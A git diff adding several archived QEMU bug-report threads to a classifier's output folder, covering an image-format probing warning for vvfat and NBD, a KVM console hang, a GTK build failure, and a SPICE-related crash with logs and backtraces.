format=raw,file.driver=vvfat,file.dir=. and the warning disappears (or +> driver=raw instead of format=raw, it's the same). +> +> Concluding: Doing what the warning says makes it disappear (-drive +> format=raw,…), which is, not coincidentally, the warning's purpose, +> actually. If we want to do something about this, we would have to allow +> protocols like NBD and vvfat be able to force the default image format +> used on top of them (i.e. raw). But this may break existing use cases, +> at least for NBD, so I'd be wary about that. + +Yeah, I don't have any objections to vvfat forcing raw, but I'm very +reluctant to have NBD force raw. + +-- +Eric Blake eblake redhat com +1-919-301-3266 +Libvirt virtualization library http://libvirt.org + + + +On Wed, Jul 15, 2015 at 10:54:47AM -0600, Eric Blake wrote: +> On 07/15/2015 09:42 AM, Max Reitz wrote: +> > Hi, +> > +> > Indeed using non-raw images should not be used over NBD. The warning +> > however is not superfluous, since qemu does indeed probe the image +> > format, so a malicious guest might write a qcow2 header into the raw +> > image, thus making qemu probe a qcow2 image the next time the same +> > configuration is used. The problem would be solved by not making qemu +> > probe the image format over NBD, but always assume raw; but I guess this +> > will break existing use cases, even though they were wrong from the +> > start. Anyway, this is solved by explicitly specifying the image format +> > to be raw, which is what the warning says. +> +> I could actually see the use of non-raw over NBD. We support nested +> protocols (where you can use qcow2->qcow2->file), that is, where a file +> contains a qcow2 file whose contents are themselves a qcow2 image. +> (Perhaps useful in nested guests, where the outer qcow2 layer serves a +> disk to an L0 guest, which in turn uses the inner layer to present a +> disk to an L1 guest). In such a case, opening just one layer of qcow2 +> for service over NBD will expose the inner qcow2 image, and connecting +> qemu as an NBD client with format=raw will directly manipulate the qcow2 +> data seen by the L0 guest, while connecting as an NBD client with +> format=qcow2 will see the raw data seen by the L1 guest. +> +> But it's more likely to encounter this scenario with NBD, and not with +> vvfat. + +I agree that it's perfectly okay to use non-raw on top of NBD. + +We allow image formats on host block devices and iSCSI LUNs. Why +shouldn't they be allowed on NBD exports? + +Stefan + + +> I could actually see the use of non-raw over NBD. We support nested +> protocols (where you can use qcow2->qcow2->file), that is, where a file +> contains a qcow2 file whose contents are themselves a qcow2 image. +> (Perhaps useful in nested guests, where the outer qcow2 layer serves a +> disk to an L0 guest, which in turn uses the inner layer to present a +> disk to an L1 guest). In such a case, opening just one layer of qcow2 +> for service over NBD will expose the inner qcow2 image, and connecting +> qemu as an NBD client with format=raw will directly manipulate the qcow2 +> data seen by the L0 guest, while connecting as an NBD client with +> format=qcow2 will see the raw data seen by the L1 guest. + +Seems like an academic exercise, really. But if this use case is practical, I believe three levels of wrapping is just as useful, and the only way to work with that one is to run two or three instances of qemu-nbd. With more layers, the set-up quickly becomes tangled and unmanageable. + +And I still doubt anyone would actually want to create a set-up like this. It seems incredibly wasteful (but then, so is virtualisation in general, so maybe that isn't an issue) and doesn't seem to accomplish anything that couldn't be done with just one layer of wrapping. + +Looking through old bug tickets... can you still reproduce this bug with the latest version of QEMU? At least for vvfat, the warning message does not seem to occur anymore. + +Yes, it does appear, you just need to make vvfat rw: + +$ qemu-system-x86_64 -drive file.driver=vvfat,file.dir=foo,file.rw=on +vvfat foo chs 1024,16,63 +WARNING: Image format was not specified for 'json:{"dir": "foo", "driver": "vvfat", "rw": "on"}' and probing guessed raw. + Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. + Specify the 'raw' format explicitly to remove the restrictions. + +(The warning is not shown with R/O devices because they don’t have the security issue.) + +My point hasn’t changed, though, I fundamentally agree with the points in this report, but I don‘t think “fixing” this is worth it. + +For NBD, “fixing” it would mean potentially breaking existing use cases (which I still don’t see the point of, but there’s no point in breaking them just to make a warning disappear). + +For vvfat, there are three things: First of all, I don’t like it very much, so as I said, I’d rather deprecate it altogether (though this BZ shows we shouldn’t do that). +Secondly, in order for the warning to disappear, a protocol driver would need to enforce a certain format on top when probing. That would require a bit of new infrastructure, although I have to admit it wouldn’t be impossible. +Thirdly, I suppose most people use vvfat with block device options like done in the bug report? In that case, it is trivial to add a format=raw (or driver=raw), exactly like the warning suggests. + +(Though you can use vvfat with a plain filename, too: + +$ qemu-system-x86_64 fat:32:rw:foo +qemu-system-x86_64: warning: FAT32 has not been tested. You are welcome to do so! +vvfat foo chs 1024,16,63 +WARNING: Image format was not specified for 'json:{"fat-type": 32, "dir": "foo", "driver": "vvfat", "floppy": false, "rw": true}' and probing guessed raw. + Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. + Specify the 'raw' format explicitly to remove the restrictions. + +) + +So all in all I think this is indeed kind of a bug (at least it’s a nuisance that could be better), fixing it would not be impossible, but it’s just very low on at least my priority list (probably somewhere around “implement bdrv_refresh_filename() for vvfat so you don't get the json:{} filenames you can see above”). + +Max + diff --git a/results/classifier/deepseek-1/output/versions./1257352 b/results/classifier/deepseek-1/output/versions./1257352 new file mode 100644 index 00000000..034d422c --- /dev/null +++ b/results/classifier/deepseek-1/output/versions./1257352 @@ -0,0 +1,172 @@ + +kvm hangs occasionally when switching out of the qemu console + +To recreate (although this does *NOT* fail most of the time alas): + +1) press "ctrl-alt-2" to switch to the qemu console. +2) type say "sendkey ctrl-alt-f1" +3) press "ctrl-alt-1". + +Expected outcome: Switch to tty1 in the VM. + +Actual outcome: No switch to tty1 in the VM. and qemu console unresponsive to any keyboard input. + + +Rather a vague problem description I'm afraid but this has happened to me 3 times recently. No crash and no excessive CPU is observed. + +I'll grab an strace when it happens again and attach... + +ProblemType: Bug +DistroRelease: Ubuntu 14.04 +Package: qemu-system-x86 1.6.0+dfsg-2ubuntu4 +ProcVersionSignature: Ubuntu 3.12.0-4.12-generic 3.12.1 +Uname: Linux 3.12.0-4-generic i686 +NonfreeKernelModules: nvidia +ApportVersion: 2.12.7-0ubuntu1 +Architecture: i386 +CurrentDesktop: Unity +Date: Tue Dec 3 15:41:40 2013 +InstallationDate: Installed on 2010-10-21 (1139 days ago) +InstallationMedia: Ubuntu 10.10 "Maverick Meerkat" - Release i386 (20101007) +SourcePackage: qemu +UpgradeStatus: Upgraded to trusty on 2013-11-01 (31 days ago) + + + +... as if by magic it hung again :) I managed to trigger it by toggling the following two key combos rapidly starting from within the qemu console: + +ctrl-alt-1 # switch to console (actually, we're already there, but ...) +ctrl-alt-2 # switch out of console + + + +Is this new to this version? + +Can you reproduce it with either saucy's kvm, or with the previous +version published in trusty? + + +I never saw the issue with saucy. Downgrading to 1.5.0+dfsg-3ubuntu5.1 certainly appears to have resolved the issue for me, so it's looking like a regression introduced by 1.6.0+dfsg-2ubuntu4. + +Thanks, James. I suspect this is due to the arm64-user-static patchset i added. As mjt has pointed out it has a lot of cruft in it. I'll have to drop it and try to come up with a smaller patchset. + +Hi, + +1.7 is currently building trusty. Could you please test with it and make sure that this bug is fixed with that version? + +Hi Serge, + +1.7.0+dfsg-2ubuntu2 still exhibits the problem I'm afraid. + +That's surprising. Can you test it with upstream qemu? + +( + git clone git://git.qemu.org/qemu.git + cd qemu + ./configure --target-list=x86_64-softmmu + make + cd x86_64-softmmu + ./qemu-system-x86_64 --enable-kvm <qemu-args> +) + + +Hi Serge, + +Yes, I get the hang on upstream too (HEAD e157b8fdd412d48eacfbb8c67d3d58780154faa3). + +Thanks, James. I'll aim to test on some older releases and bisect if possible. + +If you have a chance to test on precise, raring, and saucy, or to actually bisect in the upstream git tree, please let me know. + +Hi James, + +just a quick check - do you get this with the qemu package in ppa:ubuntu-virt/candidate? + +HI Serge - yes, problem is still there with the ppa versions: + +$ dpkg -l|egrep "kvm|qemu" +ii ipxe-qemu 1.0.0+git-20131111.c3d1e78-2ubuntu1 all PXE boot firmware - ROM images for qemu +ii kvm-ipxe 1.0.0+git-20131111.c3d1e78-2ubuntu1 all transitional dummy package +ii kvm-pxe 5.4.5 all Meta package providing kvm pxe-boot ROMs. +ii qemu-common 2.0~git-20140320.71461b0-0ubuntu1 all dummy transitional package from qemu-common to qemu-keymaps +ii qemu-keymaps 2.0~git-20140320.71461b0-0ubuntu1 all QEMU keyboard maps +ii qemu-kvm 2.0~git-20140320.71461b0-0ubuntu1 i386 QEMU Full virtualization on x86 hardware (transitional package) +ii qemu-kvm-extras-static 1.2.0-2012.09-0ubuntu2 all QEMU static user mode emulation binaries (transitional package) +ii qemu-system 2.0~git-20140320.71461b0-0ubuntu1 i386 QEMU full system emulation binaries +ii qemu-system-arm 1.7.0+dfsg-3ubuntu7 i386 QEMU full system emulation binaries (arm) +ii qemu-system-common 2.0~git-20140320.71461b0-0ubuntu1 i386 QEMU full system emulation binaries (common files) +ii qemu-system-mips 1.7.0+dfsg-3ubuntu7 i386 QEMU full system emulation binaries (mips) +ii qemu-system-misc 1.7.0+dfsg-3ubuntu7 i386 QEMU full system emulation binaries (miscelaneous) +ii qemu-system-ppc 1.7.0+dfsg-3ubuntu7 i386 QEMU full system emulation binaries (ppc) +ii qemu-system-sparc 1.7.0+dfsg-3ubuntu7 i386 QEMU full system emulation binaries (sparc) +ii qemu-system-x86 1.7.0+dfsg-3ubuntu7 i386 QEMU full system emulation binaries (x86) +ii qemu-user-static 2.0~git-20140320.71461b0-0ubuntu1 i386 QEMU user mode emulation binaries (static version) +ii qemu-utils 2.0~git-20140320.71461b0-0ubuntu1 i386 QEMU utilities + + +That is an odd looking list - why is qemu-system-x86 still on 1.7.0, while qemu-system-common is on 2.0? + +Sorry - ignore that. However, problem persists on a separate fully-updated amd64 trusty system running kvm version 2.0.0~rc1+dfsg-0ubuntu3. + +I've been trying to reproduce with current trusty, but on amd64, with no success. + +Which guest were you using? Can you reproduce it just booting a desktop iso with SDL graphics, i.e. + +kvm -cdrom ubuntu-13.10-desktop-$arch.iso -m 512 + +? + +(Will test on i386. If that succeeds then I can bisect.) + +Hi Serge, + +I'm running on pure amd64 too so the problem is not arch-specific. + +The simplest way to recreate: + +$ kvm -cdrom /usr/lib/memtest86+/memtest86+.iso -m 512 + +Just hold down control+alt and frantically toggle the monitor using the '2' and '1'. Within a couple of seconds it hangs. + +Sadly a bisect pointed to the unlikely commit 7a239e46. + +Upstream git head is still affected. + +Maddeningly, I've not yet been able to reproduce this by doing + +for i in `seq 1 100`; do + xdotool search --name qemu keydown ctrl+alt+2 + xdotool search --name qemu keyup ctrl+alt+2 + xdotool search --name qemu keydown ctrl+alt+1 + xdotool search --name qemu keyup ctrl+alt+1 +done + + +A-ha, the reason is that this only triggers if the qemu window is focused. Running the script while focusing does reproduce (and do other weird things). + +So perhaps this is happening in sdl_grab_start(), which exits early if the app is not focused? + +Interestingly, after i lock the qemu console up with the xdo script, + +the screen is always locked in ctrl-alt-2, that is, the monitor, not the vm display, + +hitting ctrl-alt-1 never returns it to the vm display, + +but if i continue the xdo script running, it sometimes does return to the vm display, where you can see memtest continuing to run. + +So it appears that what is locking up is the display of the monitor. + +Can you still reproduce this issue with the latest version of QEMU, or could we close this ticket nowadays? + +Still happened in qemu 2.5.0 on Ubuntu 16.04, it's random but you can only switch between console, monitor, serial, parallel several times, then it hangs. + +It seems the issue is sdl related to change in sdl window size. If I started qemu and set the monitor (and serial & parallel) to the same VC size, it works much better. Instead of hangs on a 2-3 switches, it may hang after rapid switch of more than 10 times. Btw, it can hang in any windows, i.e. display, monitor or serial/parallel. + +So the workaround to ease this is, something like '-monitor vc:640x480 -serial vc:640x480'. + +Could you please check with the latest version of QEMU (v2.12), and make sure that you're using SDL2 instead of SDL1.2 (since the latter is going to be removed soon)? + +[Expired for QEMU because there has been no activity for 60 days.] + +[Expired for qemu (Ubuntu) because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/versions./1571084 b/results/classifier/deepseek-1/output/versions./1571084 new file mode 100644 index 00000000..2eb5b8d4 --- /dev/null +++ b/results/classifier/deepseek-1/output/versions./1571084 @@ -0,0 +1,143 @@ + +Qemu 2.x dont build on last Gtk dev 3.0+ + +here the build exit + +ui/gtk.c: In function ‘gd_mouse_set’: +ui/gtk.c:479:5: error: ‘gdk_display_get_device_manager’ is deprecated: Use 'gdk_display_get_default_seat' instead [-Werror=deprecated-declarations] + mgr = gdk_display_get_device_manager(dpy); + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdisplay.h:170:20: note: declared here + GdkDeviceManager * gdk_display_get_device_manager (GdkDisplay *display); + ^ +ui/gtk.c:482:5: error: ‘gdk_device_manager_get_client_pointer’ is deprecated [-Werror=deprecated-declarations] + gdk_device_warp(gdk_device_manager_get_client_pointer(mgr), + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkdisplay.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdevicemanager.h:44:14: note: declared here + GdkDevice * gdk_device_manager_get_client_pointer (GdkDeviceManager *device_manager); + ^ +ui/gtk.c: In function ‘gd_grab_devices’: +ui/gtk.c:1316:5: error: ‘gdk_display_get_device_manager’ is deprecated: Use 'gdk_display_get_default_seat' instead [-Werror=deprecated-declarations] + GdkDeviceManager *mgr = gdk_display_get_device_manager(display); + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdisplay.h:170:20: note: declared here + GdkDeviceManager * gdk_display_get_device_manager (GdkDisplay *display); + ^ +ui/gtk.c:1317:5: error: ‘gdk_device_manager_list_devices’ is deprecated [-Werror=deprecated-declarations] + GList *devs = gdk_device_manager_list_devices(mgr, GDK_DEVICE_TYPE_MASTER); + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkdisplay.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdevicemanager.h:41:14: note: declared here + GList * gdk_device_manager_list_devices (GdkDeviceManager *device_manager, + ^ +ui/gtk.c:1327:13: error: ‘gdk_device_grab’ is deprecated: Use 'gdk_seat_grab' instead [-Werror=deprecated-declarations] + gdk_device_grab(dev, win, GDK_OWNERSHIP_NONE, FALSE, + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkdnd.h:33:0, + from /usr/local/include/gtk-3.0/gdk/gdkevents.h:34, + from /usr/local/include/gtk-3.0/gdk/gdkdisplay.h:31, + from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdevice.h:250:15: note: declared here + GdkGrabStatus gdk_device_grab (GdkDevice *device, + ^ +ui/gtk.c:1330:13: error: ‘gdk_device_ungrab’ is deprecated: Use 'gdk_seat_ungrab' instead [-Werror=deprecated-declarations] + gdk_device_ungrab(dev, GDK_CURRENT_TIME); + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkdnd.h:33:0, + from /usr/local/include/gtk-3.0/gdk/gdkevents.h:34, + from /usr/local/include/gtk-3.0/gdk/gdkdisplay.h:31, + from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdevice.h:259:15: note: declared here + void gdk_device_ungrab (GdkDevice *device, + ^ +ui/gtk.c: In function ‘gd_grab_pointer’: +ui/gtk.c:1392:5: error: ‘gdk_display_get_device_manager’ is deprecated: Use 'gdk_display_get_default_seat' instead [-Werror=deprecated-declarations] + GdkDeviceManager *mgr = gdk_display_get_device_manager(display); + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdisplay.h:170:20: note: declared here + GdkDeviceManager * gdk_display_get_device_manager (GdkDisplay *display); + ^ +ui/gtk.c:1400:5: error: ‘gdk_device_manager_get_client_pointer’ is deprecated [-Werror=deprecated-declarations] + gdk_device_get_position(gdk_device_manager_get_client_pointer(mgr), + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkdisplay.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdevicemanager.h:44:14: note: declared here + GdkDevice * gdk_device_manager_get_client_pointer (GdkDeviceManager *device_manager); + ^ +ui/gtk.c: In function ‘gd_ungrab_pointer’: +ui/gtk.c:1432:5: error: ‘gdk_display_get_device_manager’ is deprecated: Use 'gdk_display_get_default_seat' instead [-Werror=deprecated-declarations] + GdkDeviceManager *mgr = gdk_display_get_device_manager(display); + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdisplay.h:170:20: note: declared here + GdkDeviceManager * gdk_display_get_device_manager (GdkDisplay *display); + ^ +ui/gtk.c:1434:5: error: ‘gdk_device_manager_get_client_pointer’ is deprecated [-Werror=deprecated-declarations] + gdk_device_warp(gdk_device_manager_get_client_pointer(mgr), + ^ +In file included from /usr/local/include/gtk-3.0/gdk/gdkdisplay.h:32:0, + from /usr/local/include/gtk-3.0/gdk/gdkscreen.h:32, + from /usr/local/include/gtk-3.0/gdk/gdkapplaunchcontext.h:31, + from /usr/local/include/gtk-3.0/gdk/gdk.h:32, + from /usr/local/include/gtk-3.0/gtk/gtk.h:30, + from /home/amigaone/src/qemu/include/ui/gtk.h:9, + from ui/gtk.c:42: +/usr/local/include/gtk-3.0/gdk/gdkdevicemanager.h:44:14: note: declared here + GdkDevice * gdk_device_manager_get_client_pointer (GdkDeviceManager *device_manager); + ^ + +Thanks for the bug report. You can avoid this being a compilation failure by passing configure the option "--disable-werror". (This is the default for releases, so you only need it for building QEMU from git (a build from a release tarball or a release candidate tarball should be fine). + + diff --git a/results/classifier/deepseek-1/output/versions./1820247 b/results/classifier/deepseek-1/output/versions./1820247 new file mode 100644 index 00000000..a5b61261 --- /dev/null +++ b/results/classifier/deepseek-1/output/versions./1820247 @@ -0,0 +1,418 @@ + +QEMU random crash caused by libspice-server + +Hi, + +One of our OpenStack instances crashed. It seems there was some problem related to SPICE. Attaching what we had in qemu log. Also sending our versions: + +Linux pre-node1 4.18.0-13-generic #14~18.04.1-Ubuntu SMP Thu Dec 6 14:09:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux + +QEMU emulator version 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.9) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + + +root@pre-node1:~# cat /var/log/libvirt/qemu/instance-00000038.log +2019-03-10 20:39:36.510+0000: starting up libvirt version: 4.0.0, package: 1ubuntu8.6 (Christian Ehrhardt <email address hidden> Fri, 09 Nov 2018 07:42:01 +0100), qemu version: 2.11.1(Debian 1:2.11+dfsg-1ubuntu7.9), hostname: pre-node1 +LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin QEMU_AUDIO_DRV=spice /usr/bin/kvm-spice -name guest=instance-00000038,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-5-instance-00000038/master-key.aes -machine pc-i440fx-bionic,accel=kvm,usb=off,dump-guest-core=off,mem-merge=off -cpu Skylake-Server-IBRS,ss=on,hypervisor=on,tsc_adjust=on,clflushopt=on,pku=on,ssbd=on,xsaves=on -m 2048 -realtime mlock=on -smp 2,sockets=1,cores=1,threads=2 -object memory-backend-file,id=ram-node0,prealloc=yes,mem-path=/dev/hugepages/libvirt/qemu/5-instance-00000038,share=yes,size=2147483648,host-nodes=0,policy=bind -numa node,nodeid=0,cpus=0-1,memdev=ram-node0 -uuid 3c3d04f3-4b25-4ea5-8836-0e06eef9dcb7 -smbios 'type=1,manufacturer=OpenStack Foundation,product=OpenStack Nova,version=18.1.1,serial=93fa1a55-ba3a-4a99-80b3-3a7bb4e964af,uuid=3c3d04f3-4b25-4ea5-8836-0e06eef9dcb7,family=Virtual Machine' -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/domain-5-instance-00000038/monitor.sock,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc,driftfix=slew -global kvm-pit.lost_tick_policy=delay -no-hpet -no-shutdown -boot strict=on -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0x1.0x2 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x3 -drive file=/var/lib/nova/instances/3c3d04f3-4b25-4ea5-8836-0e06eef9dcb7/disk,format=qcow2,if=none,id=drive-virtio-disk0,cache=none,discard=ignore,throttling.iops-read=5000,throttling.iops-write=5000 -device virtio-blk-pci,scsi=off,bus=pci.0,addr=0x4,drive=drive-virtio-disk0,id=virtio-disk0,bootindex=1 -add-fd set=0,fd=29 -chardev pty,id=charserial0,logfile=/dev/fdset/0,logappend=on -device isa-serial,chardev=charserial0,id=serial0 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -spice port=5900,addr=10.252.0.101,disable-ticketing,seamless-migration=on -device qxl-vga,id=video0,ram_size=67108864,vram_size=67108864,vram64_size_mb=0,vgamem_mb=16,max_outputs=1,bus=pci.0,addr=0x2 -device vfio-pci,host=25:04.1,id=hostdev0,bus=pci.0,addr=0x5 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0x6 -msg timestamp=on +2019-03-10T20:39:36.568276Z qemu-system-x86_64: -chardev pty,id=charserial0,logfile=/dev/fdset/0,logappend=on: char device redirected to /dev/pts/2 (label charserial0) +inputs_channel_detach_tablet: +main_channel_link: add main channel client +main_channel_client_handle_pong: net test: latency 32.760000 ms, bitrate 33384953 bps (31.838372 Mbps) +red_qxl_set_cursor_peer: +inputs_connect: inputs channel client create + +(process:65324): Spice-WARNING **: 16:35:23.769: Failed to create channel client: Client 0x55e7c157e970: duplicate channel type 2 id 0 +red_qxl_set_cursor_peer: + +(process:65324): Spice-WARNING **: 16:35:24.142: Failed to create channel client: Client 0x55e7c157e970: duplicate channel type 4 id 0 + +(process:65324): Spice-CRITICAL **: 16:35:24.142: cursor-channel.c:353:cursor_channel_connect: condition `ccc != NULL' failed +2019-03-13 15:35:31.785+0000: shutting down, reason=crashed + + + + +I am also attaching some gdb information extracted from qemu crash dump file. These are backtraces of particular threads within the crashed QEMU process. + + +Thread 9 (Thread 0x7f69649ea5c0 (LWP 65324)): +#0 0x00007f695f02d2b7 in __libc_write (fd=26, buf=0x7ffc33f5b330, nbytes=56) at ../sysdeps/unix/sysv/linux/write.c:27 +#1 0x00007f695ff30ed3 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#2 0x00007f695ff316ce in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#3 0x00007f695ff52db6 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#4 0x00007f695ff58e38 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#5 0x00007f695ff5f463 in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#6 0x00007f695ff5f7bb in () at /usr/lib/x86_64-linux-gnu/libspice-server.so.1 +#7 0x000055e7bec94584 in () +#8 0x000055e7bec94e58 in aio_dispatch () +#9 0x000055e7bec91e3e in () +#10 0x00007f695fa45387 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#11 0x000055e7bec940a7 in main_loop_wait () +#12 0x000055e7be8b8486 in main () + +Thread 8 (Thread 0x7f68b78fc700 (LWP 61873)): +#0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, abstime=0x7f68b78fb900, expected=0, futex_word=0x55e7c1531d78) + at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +#1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, abstime=abstime@entry=0x7f68b78fb900) at sem_waitcommon.c:111 +#2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, abstime=0x7f68b78fb900) at sem_waitcommon.c:181 +#3 0x000055e7bec976cf in qemu_sem_timedwait () +#4 0x000055e7bec928bc in () +#5 0x00007f695f0236db in start_thread (arg=0x7f68b78fc700) at pthread_create.c:463 +#6 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 7 (Thread 0x7f688f7fe700 (LWP 61366)): +#0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, abstime=0x7f688f7fd900, expected=0, futex_word=0x55e7c1531d78) + at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +#1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, abstime=abstime@entry=0x7f688f7fd900) at sem_waitcommon.c:111 +#2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, abstime=0x7f688f7fd900) at sem_waitcommon.c:181 +#3 0x000055e7bec976cf in qemu_sem_timedwait () +#4 0x000055e7bec928bc in () +#5 0x00007f695f0236db in start_thread (arg=0x7f688f7fe700) at pthread_create.c:463 +#6 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 6 (Thread 0x7f687effd700 (LWP 61362)): +#0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, abstime=0x7f687effc900, expected=0, futex_word=0x55e7c1531d78) + at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +#1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, abstime=abstime@entry=0x7f687effc900) at sem_waitcommon.c:111 +#2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, abstime=0x7f687effc900) at sem_waitcommon.c:181 +#3 0x000055e7bec976cf in qemu_sem_timedwait () +#4 0x000055e7bec928bc in () +#5 0x00007f695f0236db in start_thread (arg=0x7f687effd700) at pthread_create.c:463 +#6 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 5 (Thread 0x7f68b58f1700 (LWP 60991)): +#0 0x00007f695f02c8c2 in futex_abstimed_wait_cancelable (private=0, abstime=0x7f68b58f0900, expected=0, futex_word=0x55e7c1531d78) + at ../sysdeps/unix/sysv/linux/futex-internal.h:205 +#1 0x00007f695f02c8c2 in do_futex_wait (sem=sem@entry=0x55e7c1531d78, abstime=abstime@entry=0x7f68b58f0900) at sem_waitcommon.c:111 +#2 0x00007f695f02c9d3 in __new_sem_wait_slow (sem=0x55e7c1531d78, abstime=0x7f68b58f0900) at sem_waitcommon.c:181 +#3 0x000055e7bec976cf in qemu_sem_timedwait () +#4 0x000055e7bec928bc in () +#5 0x00007f695f0236db in start_thread (arg=0x7f68b58f1700) at pthread_create.c:463 +#6 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 4 (Thread 0x7f69564a2700 (LWP 65331)): +#0 0x00007f695ed46839 in syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38 +#1 0x000055e7bec9790b in qemu_event_wait () +#2 0x000055e7beca7ebe in () +#3 0x00007f695f0236db in start_thread (arg=0x7f69564a2700) at pthread_create.c:463 +#4 0x00007f695ed4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 + +Thread 3 (Thread 0x7f695449d700 (LWP 65363)): +#0 0x00007f695ed415d7 in ioctl () at ../sysdeps/unix/syscall-template.S:78 +#1 0x000055e7be910547 in kvm_vcpu_ioctl () +#2 0x000055e7be910684 in kvm_cpu_exec () +#3 0x000055e7be8ed3f4 in () +#4 